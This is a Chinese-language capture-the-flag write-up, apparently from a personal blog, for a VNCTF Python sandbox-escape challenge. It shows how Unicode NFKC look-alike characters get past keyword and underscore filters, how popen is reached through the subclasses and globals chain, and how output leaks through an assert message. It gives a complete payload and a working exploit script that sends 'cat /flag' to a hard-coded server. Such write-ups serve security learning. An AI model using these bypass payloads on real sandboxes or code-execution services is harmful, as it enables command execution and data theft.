VNctf


Writeup: I really really really… (VNCTF)

用ai挂了会,感觉也是个思路,遂放

题目信息

  • 难度:困难
  • 出题人:LamentXU & 萦梦sora~X
  • 提示:Unicode 太好用了
  • Flag 位置/flag 和环境变量

题目分析

这是一个 Python 沙箱逃逸题目。服务器接收 POST 请求的 code 参数并执行。

过滤规则

过滤项 说明
0-9 所有数字
' " 引号
__ 双下划线
[ ] { } 括号
; \ 分号、反斜杠
class def builtins getitem 关键字
行长度 > 30 每行不能超过30字符

解题思路

1. Unicode NFKC 规范化绕过

Python 3 标识符使用 NFKC 规范化。关键发现:

# U+FE34 (︴) 规范化后变成 _
# 使用 _︴ 代替 __ (第一个正常下划线,第二个Unicode)
"_︴" → NFKC → "__"

# 数学粗体字母规范化后变成普通字母
"𝐜𝐥𝐚𝐬𝐬" → NFKC → "class"

可用的 Unicode 下划线替代字符:

  • U+FE34 PRESENTATION FORM FOR VERTICAL WAVY LOW LINE
  • U+FE4D DASHED LOW LINE
  • U+FE4E CENTRELINE LOW LINE
  • U+FE4F WAVY LOW LINE

2. 构造魔术属性

# 原本写法(被过滤)
().__class__.__base__.__subclasses__()

# Unicode 绕过写法
()._︴𝐜𝐥𝐚𝐬𝐬_︴._︴𝐛𝐚𝐬𝐞_︴._︴𝐬𝐮𝐛𝐜𝐥𝐚𝐬𝐬𝐞𝐬_︴()

3. 行长度限制绕过

用换行符分割代码,每行不超过30字符:

x = ()
x = x._︴𝐜𝐥𝐚𝐬𝐬_︴
x = x._︴𝐛𝐚𝐬𝐞_︴

4. 获取内置函数

遍历子类的 __init__.__globals__.values() 找到 chrpopen

for c in subclasses:
    for v in c.__init__.__globals__.values():
        chr_func = v.chr    # 找到 chr
        popen_func = v.popen  # 找到 popen

5. 无数字构造数字

使用 True 进行加法运算:

a = True      # 1
b = a + a     # 2
d = b + b     # 4
h = d + d     # 8
m = h + h     # 16
n = m + m     # 32
o = n + n     # 64

构造 "cat /flag" 的 ASCII 码:

字符 ASCII 计算方式
c 99 64+32+2+1 = o+n+b+a
a 97 64+32+1 = o+n+a
t 116 64+32+16+4 = o+n+m+d
空格 32 32 = n
/ 47 32+8+4+2+1 = n+h+d+b+a
f 102 64+32+4+2 = o+n+d+b
l 108 64+32+8+4 = o+n+h+d
a 97 64+32+1 = o+n+a
g 103 64+32+4+2+1 = o+n+d+b+a

6. 输出 Flag

print 输出被拦截,使用 assert 触发异常显示内容:

assert not True, flag_content
# AssertionError: <flag内容>

最终 Payload

x = ()
x = x._︴𝐜𝐥𝐚𝐬𝐬_︴
x = x._︴𝐛𝐚𝐬𝐞_︴
s = x._︴𝐬𝐮𝐛𝐜𝐥𝐚𝐬𝐬𝐞𝐬_︴()
ch = None
po = None
for c in s:
 try:
  g = c._︴𝐢𝐧𝐢𝐭_︴
  g = g._︴𝐠𝐥𝐨𝐛𝐚𝐥𝐬_︴
  for v in g.𝐯𝐚𝐥𝐮𝐞𝐬():
   try:
    ch = v.𝐜𝐡𝐫
   except:
    pass
   try:
    po = v.𝐩𝐨𝐩𝐞𝐧
   except:
    pass
 except:
  pass
a = True
b = a + a
d = b + b
h = d + d
m = h + h
n = m + m
o = n + n
cc = ch(o + n + b + a)
aa = ch(o + n + a)
tt = ch(o + n + m + d)
sp = ch(n)
sl = ch(n + h + d + b + a)
ff = ch(o + n + d + b)
ll = ch(o + n + h + d)
gg = ch(o + n + d + b + a)
cm = cc + aa + tt
cm = cm + sp + sl
cm = cm + ff + ll
cm = cm + aa + gg
f = po(cm)
t = f.𝐫𝐞𝐚𝐝()
assert not True, t

Exploit 脚本

import requests
import unicodedata

url = "http://114.66.24.228:33306/"

U = chr(0xFE34)  # ︴

def uc(s):
    """将字符串转换为数学粗体字母"""
    result = ""
    for c in s:
        for i in range(0x1D400, 0x1D800):
            if unicodedata.normalize('NFKC', chr(i)) == c:
                result += chr(i)
                break
        else:
            result += c
    return result

def dunder(name):
    """构造 __name__ 格式"""
    return f"_{U}{uc(name)}_{U}"

# 构造 payload
code = f"""x = ()
x = x.{dunder('class')}
x = x.{dunder('base')}
s = x.{dunder('subclasses')}()
ch = None
po = None
for c in s:
 try:
  g = c.{dunder('init')}
  g = g.{dunder('globals')}
  for v in g.{uc('values')}():
   try:
    ch = v.{uc('chr')}
   except:
    pass
   try:
    po = v.{uc('popen')}
   except:
    pass
 except:
  pass
a = True
b = a + a
d = b + b
h = d + d
m = h + h
n = m + m
o = n + n
cc = ch(o + n + b + a)
aa = ch(o + n + a)
tt = ch(o + n + m + d)
sp = ch(n)
sl = ch(n + h + d + b + a)
ff = ch(o + n + d + b)
ll = ch(o + n + h + d)
gg = ch(o + n + d + b + a)
cm = cc + aa + tt
cm = cm + sp + sl
cm = cm + ff + ll
cm = cm + aa + gg
f = po(cm)
t = f.{uc('read')}()
assert not True, t"""

r = requests.post(url, data={"code": code})
# 从响应中提取结果
import re
m = re.search(r'output-area">(.*?)</div>', r.text, re.DOTALL)
if m:
    print(m.group(1).strip())

Flag

VNCTF{i_reAlLy_Re@lLy_RE@lIY_IlkE_u&l_w@nT_U_Do_U_w@nt_ME_too?8wdxQjh}

知识点总结

  1. Python Unicode NFKC 规范化

    • Python 3 标识符支持 Unicode
    • 使用 unicodedata.normalize('NFKC', char) 进行规范化
    • 可利用规范化后相同的 Unicode 字符绕过关键字过滤
  2. Python 原型链利用

    • ().__class__.__base__ 获取 object
    • __subclasses__() 获取所有子类
    • __init__.__globals__ 获取全局命名空间,包含内置函数
  3. 无数字编程

    • True 在数值上下文中等于 1
    • False 等于 0
    • 通过加法可以生成任意正整数
  4. 异常信息泄露

    • print 等输出函数被拦截时
    • 可以使用 assert False, message 触发 AssertionError
    • 异常信息会包含 message 内容

参考资料


文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录